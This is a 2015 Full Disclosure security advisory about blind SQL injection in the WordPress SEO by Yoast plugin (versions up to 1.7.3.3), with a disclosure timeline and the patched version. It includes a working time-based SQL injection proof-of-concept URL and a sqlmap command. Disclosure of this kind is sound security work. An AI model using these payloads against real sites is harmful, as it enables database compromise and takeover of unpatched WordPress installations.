full-disclosure - [FD] WordPress SEO by Yoast <= 1.7.3.3

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Date: Thu, 12 Mar 2015 20:21:22 +0100
From: Ryan Dewhurst <ryandewhurst@...il.com>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] WordPress SEO by Yoast <= 1.7.3.3 - Blind SQL Injection

Title: WordPress SEO by Yoast <= 1.7.3.3 - Blind SQL Injection
Version/s Tested: 1.7.3.3
Patched Version: 1.7.4
CVSSv2 Base Score: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C/E:POC/RL:OF/RC:C)
CVSSv2 Temporal Score: 7 (AV:N/AC:L/Au:S/C:C/I:C/A:C/E:POC/RL:OF/RC:C)
WPVULNDB: https://wpvulndb.com/vulnerabilities/7841

Description:

WordPress SEO by Yoast is a popular WordPress plugin (wordpress-seo) used
to improve the Search Engine Optimization (SEO) of WordPress sites. The
latest version at the time of writing (1.7.3.3) has been found to be
affected by two authenticated (admin, editor or author user) Blind SQL
Injection vulnerabilities. The plugin has more than one million downloads
according to WordPress.

Technical Description:

The authenticated Blind SQL Injection vulnerability can be found within the
'admin/class-bulk-editor-list-table.php' file. The orderby and order GET
parameters are not sufficiently sanitised before being used within a SQL
query.

Line 529:

$orderby = ! empty( $_GET['orderby'] ) ? esc_sql( sanitize_text_field(
$_GET['orderby'] ) ) : 'post_title';

Line 533:

order = esc_sql( strtoupper( sanitize_text_field( $_GET['order'] ) ) );

If the GET orderby parameter value is not empty it will pass its value
through WordPess's own esc_sql() function. According to WordPress this
function 'Prepares a string for use as an SQL query. A glorified
addslashes() that works with arrays.'. However, this is not sufficient to
prevent SQL Injection as can be seen from our Proof of Concept.

Proof of Concept (PoC):

The following GET request will cause the SQL query to execute and sleep for
10 seconds if clicked on as an authenticated admin, editor or author user.

http://127.0.0.1/wp-admin/admin.php?page=wpseo_bulk-editor&type=title&orderby=post_date%2c(select%20*%20from%20(select(sleep(10)))a)&order=asc

Using SQLMap:

python sqlmap.py -u "
http://127.0.0.1/wp-admin/admin.php?page=wpseo_bulk-editor&type=title&orderby=post_date*&order=asc"
--batch --technique=B --dbms=MySQL --cookie="wordpress_9d...;
wordpress_logged_in_9dee67...;"

Impact:

As there is no anti-CSRF protection a remote unauthenticated attacker could
use this vulnerability to execute arbitrary SQL queries on the victim
WordPress web site by enticing an authenticated admin, editor or author
user to click on a specially crafted link or visit a page they control.

One possible attack scenario would be an attacker adding their own
administrative user to the target WordPress site, allowing them to
compromise the entire web site.

Timeline:

March 10th 2015 - 15:30 GMT: Vulnerability discovered by Ryan Dewhurst
(WPScan Team - Dewhurst Security).
March 10th 2015 - 18:30 GMT: Technical review by FireFart (WPScan Team).
March 10th 2015 - 20:00 GMT: Vendor contacted via email.
March 10th 2015 - 21:25 GMT: Vendor replies, confirms issue and gave
expected patch timeline.
March 11th 2015 - 12:05 GMT: Vendor released version 1.7.4 which patches
this issue.
March 11th 2015 - 12:30 GMT: Advisory released.

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